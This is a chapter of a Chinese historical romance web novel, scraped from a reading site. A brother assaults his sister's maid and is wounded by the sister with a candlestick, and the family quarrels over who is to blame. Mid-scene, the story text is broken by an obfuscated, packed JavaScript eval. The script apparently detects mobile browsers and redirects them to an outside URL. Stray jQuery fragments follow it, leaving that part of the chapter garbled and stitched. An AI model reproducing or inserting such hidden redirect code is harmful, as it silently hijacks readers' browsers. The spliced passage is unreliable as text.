默认冷灰
24号文字
方正启体

12. 12

作者:炎棠本书字数:K更新时间:
    一个女郎,正值青春年少,问旁人自己长相如何,除了动了春心,实在不能叫人往好的方面去想。


    这一刻,谢帘栊的怒火就像是油罐里满溢得油,被人突然扔了把火星一样再也压抑不住了,可他质问的话还没来得及说出口,便看到谢清颜嘴唇上那块伤了的皮肤——那句伤在唇上的话,立刻让谢帘栊整个人都炸了。


    他眉头瞬间死死压住眼眶,声色俱厉,“你嘴唇是叫他亲的,是不是?!”


    女子天生就有第六感,谢清颜也不例外。


    从回到筑园时,她眼皮就隐隐约约在跳,到了现在门被砸开谢帘栊出现在面前时,她的心才终于有了实感。


    所以在这种既在预料之外又在情理之中的情况下,她反而是说不出的淡然。只是那股厌恶也在所难免,莫名腾升起一种名为报复的愉悦感。


    于是那双淡色秀眉挑起一端,眼尾斜扬而上,睨视着他,“是不是与你何干。”


    谢清颜实在太有本事,不过一句话,便令谢帘栊心火直烧,雄性气息十足的眉眼本就凌厉无比,听到这话后,那浓密的眉头锁的死死的,涤荡出一股不小的戾气来。


    一时间空气凝固,房间里只闻得粗重的呼吸起伏声。


    怒极反笑,往常听人讲起时,谢帘栊还觉得这纯属胡扯,可如今他却明白了这个中滋味。


    他冷笑一声,蓦地而动。


    精悍的身躯就像一道闪电,起落之间带出一股强劲的气势,那羸弱萤火承受不住暗流涌动,摇摇的飘忽一闪,熄灭后的气流将空间都扭曲起来。


    秋霜顿时惊叫出声。


    这不出声还好,一出声就像一个信号,谢帘栊首当其冲的拿她开刀,一连串的质问就像刀一下下劈在身上,直叫人吓得大气都不敢喘,“叫叫叫,叫什么叫?除了叫你还会干嘛?”


    “整日贴在你主子身上就像没断奶的孩子!”


    “再不滚,你就准备回家和娘老子等着被吃绝户吧!”


    秋霜是独女,家中父亲早死,死前也未能留下什么家产,可即便是这样剩下的亲戚也盯着她家那一亩三分地不放。逢年过节捡着一些不要的烂菜叶就来打秋风不说,连一表三千里的不知道哪冒出来的“舅哥”成亲,都要她家出喜钱。


    好不容易才跳出了火坑,来到谢家干活,除了银钱丰厚,更是在谢帘栊的庇护下,那些霸道亲戚也不敢真的做的太过。


    如今听到这话儿,秋霜直接哭了。


    谢帘栊本就暴怒到极致,哪儿还见的这般作态,嘤嘤的哭声和谢清颜唇角的伤不断在他眼前切换,甚至连谢清颜穿着嫁衣对王容止笑的画面都有了。当下猛的抬脚悍气一踹,只听砰的一声!


    秋霜捂着腹部蹲在地上。


    “你做什么?!”谢清颜此刻脸色都变了,黑黢黢的屋子叫人看不清明,可正因为如此嗅觉便格外敏锐,她清楚闻到了一股血腥气,那是秋霜身上的!


    这简直是飞来横祸,秋霜她犯了什么错?!


    深深的后悔和自责将谢清颜包裹,这像是压死骆驼的最后一根稻草,直叫她全身都带着恨。无措下,谢清颜不断后退,终于在脚抵住桌脚的同时猛地醒神。


    她的手背在后头不断摸索,摸到了那个还散发着余温的烛台。灼热的蜡烛液烫过冰凉的指尖,热流仿佛能够钻到人的天灵盖,这时候根本容不得多想,一切都是本能的反应!


    谢清颜猛地尖叫出声,拿着烛台反手直接将尖端砸了出去。


    尖锐划破寂寥。


    当下,整个谢府的房间陆陆续续亮起灯。


    谢夫人骤然惊醒,抓着被子问,“出了何事?”


    静!


    死静!


    少女总是清雅的房间内混进了一股浓郁的血腥味,像生了数十年的铁锈突然化开,更像是生噎了一块还未死透的鱼,谢清颜胃部立刻翻涌,脸色都青白起来。


    不多时,不,或许过了一段很漫长的时间,但当下的发生的一切都太快太迅速了,以至于脚步声响起来时,谢清颜都没办法冷静思考。


    人影憧憧,这时候的筑园无比热闹。


    谢夫人,谢斯年,谢仪,谢莲儿,一屋子谢家人都来了,他们各自带了自己的小厮丫鬟,挤满了谢清颜整个房间。


    谢夫人尖叫声如同纸张边缘那样锋利,“怎么回事,这到底怎么回事?!”


    几个惹事的“罪魁祸首”并站在一起,秋霜跪地,谢清颜站着,谢帘栊单手捂着右脸,皆沉默不语,没有回答。可鲜血却掩盖不住,从他的修长的指缝中溢出,又流淌手臂上,汇聚成一道道惊心动魄的血线。


    谢夫人都没等回话,只是那样看着,眼底就透着说不出的怕,她当机立断,“找御医。”


    谢帘栊闻言通孔骤缩!


    这一决断不亚于是晴天霹雳,且不说深夜递牌请御医的繁琐,而其过程必然会惊动皇帝。皇帝老了,身体看着强壮可实则却被政务一点点掏空了,上次为了谢清颜的药,皇帝发了好大的怒气,如今再来一次,谢清颜恐怕会凶多吉少。


    “就这么点伤,不至于。”谢帘栊混不吝的用另一只手在半空摆了一下,在他看来受伤分两种情况,一种是和对家斗殴你死我活受的伤——那是耻辱。


    另一种则是男女双方吵架时,女儿家嗔怪时不小心弄的——那是勋章。


    所以他并不怪谢清颜,反而是升了很大的兴味,要知道谢清颜可从来没有这幅模样过。这般想着,他便斜眼觑了过去,只见谢清颜唇色发白,鬓角处微微散开,额发划过她的密睫,昏黄的灯光都无法照进其瞳孔,只在边缘处晕成一片暗色的地带,一双瞳孔更是乌凌凌的似没有聚焦一般。


    不好!


    这是谢帘栊第一个想法。


    随即,他心口狂跳起来。


    同样也感觉不好的也有谢清颜,事发突然,那种情况下根本容不得人思考后果,就算此时回神,她也无法辩解。无数的视线交织在一起,停留在皮肤身上就像是舔舐的火焰,烫的她倍感焦灼。是维护秋霜,还是掩埋真相?无数思虑下让谢清颜神经都开始麻木。


    这并不是一个好的开端,一旦放弃秋霜,放弃这逆境中陪她一起淌过来的人,她的良知都会湮灭,余生也将任由后悔湮灭。


    可如果是她,她被处置了。


    母亲该如何?


    床榻上那总是低咳的声音不断出现,令谢清颜痛苦的蹙眉,“是秋……”


    话音戛然而止,喉咙里那一点点挤出来的话就像是小刀在拉锯嗓子,她当然知道此时应该明哲保身,可那样秋霜就完了。


    “是我……”谢清颜低声开口。


    “是我不小心。”谢帘栊却骤然打断了她,他的语速很快,显然是急了,这里面包含了气急败坏,更有说不出来的恼怒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450037|201157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甚至狠狠瞪了一眼谢清颜。


    粗重的呼吸声再度响起,此刻所有人的呼吸都在耳畔响起,它们有粗有重,共同铺开成一道密密匝匝的大网,兜头兜脸的砸在谢清颜脸上、身上。可就在这电光火石间,方才在室内发生的一切却都奇迹般的串联起来。


    为何偏偏要在王容止名字出现时砸门?为什么他紧紧盯住自己的唇?


    刹那间,谢清颜心念陡转,她缓缓摩挲下指尖,冰凉的触感将内心的焦躁抚平。就着这兴味抬起头,这个角度下眼底的水光都在流转,“不,是我砸……”


    “是我!”更大的声音响起,是谢帘栊斩钉截铁的声音。而话一旦开口,后面的话也都顺其自然,“是儿子看上了这个丫头,她不肯,争执间不小心打破了烛台。”


    一言出,众人瞬间恍然大悟。


    视线在秋霜身上来回打转,而这个当口,谢帘栊的面色却沉的滴水,他当然知道谢清颜想说什么,即使不知,也能从她之前维护秋霜的态度揣摩出来。可谢帘栊却并未对自己“英明神武”而觉得高兴,甚至有着说不出来的怒。


    她想包揽全部罪责,却不掂量自己几斤几两?就这么说出来,她就不怕死?


    那个小丫头就这么好?


    还是通过维护小丫头,来避免她乱说话,说出王容止的事情?


    谢帘栊眼神沉沉,缓缓放下手。


    但无人在意的角落下,谢清颜却缓缓勾唇。


    在场没有一个人能注意到这细微的变化,视线全部谢帘栊的额头所吸引,只见暗色的血还没干涸,新鲜的血就涌了出来,它们混在一起,糊成一片黏伤口上,远远看过去触目惊心。


    谢夫人顿时捂着嘴,脸色煞白,“天,我的天!”


    她说不出来的话,同样惊恐的谢莲儿替她说了,“哥哥,你破相了。”


    “我的天,这以后还能入阁吗……”


    受前朝所累,时下男子以相貌和文采并重,甚至曾在朝堂上有因样貌出众的而一跃三级的。皇帝重颜,这一结果令很多文官也开始涂脂抹粉,修饰面容起来。当然武将们另当别论,他们并不屑为之。


    所以无论谢帘栊是不是曾经多受宠爱,这个宠爱有没有其相貌的原因,此刻谢莲儿还是道出了可能发生最坏的情况。


    “不能入阁便走武官的路子,男儿家不讲究这些。”显然这番话并不能触动谢帘栊,此刻染血的眉眼,锋利得五官,配上挺拔的身姿,带来的压迫感不比那领兵年厮杀的将军少上分毫。


    但这一幕对谢清颜来说,就像个活脱脱的煞星转世。她微微避过脸。


    “这怎么成!这不行!”谢夫人必然不能接受,当下就怒了,这份怒足以让她牵连许多人,首当其冲的就是罪魁祸首秋霜,她柳眉倒竖,长指甲指着秋霜,冷声道,“主子看上你是你的荣幸,我儿连公主都尚得,你这个小蹄子还敢躲?”


    不难看出谢夫人的冲天怨气,可就算她语气在狂妄说的也是实情。由于皇帝的看重,谢帘栊的配婚连父母都做不了主,不然以谢帘栊如今的年纪,也该去王家郎君那样相看起来了。


    皇家的天恩像是一把锋利的刀,无论出不出窍都能令谢家的地位产生翻天覆地的变化。


    谢夫人惊惧之下,厉然出声,“来人,给我把这个贱人拖到庭院当场仗杀!”


    “不成。”谢清颜当即开口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)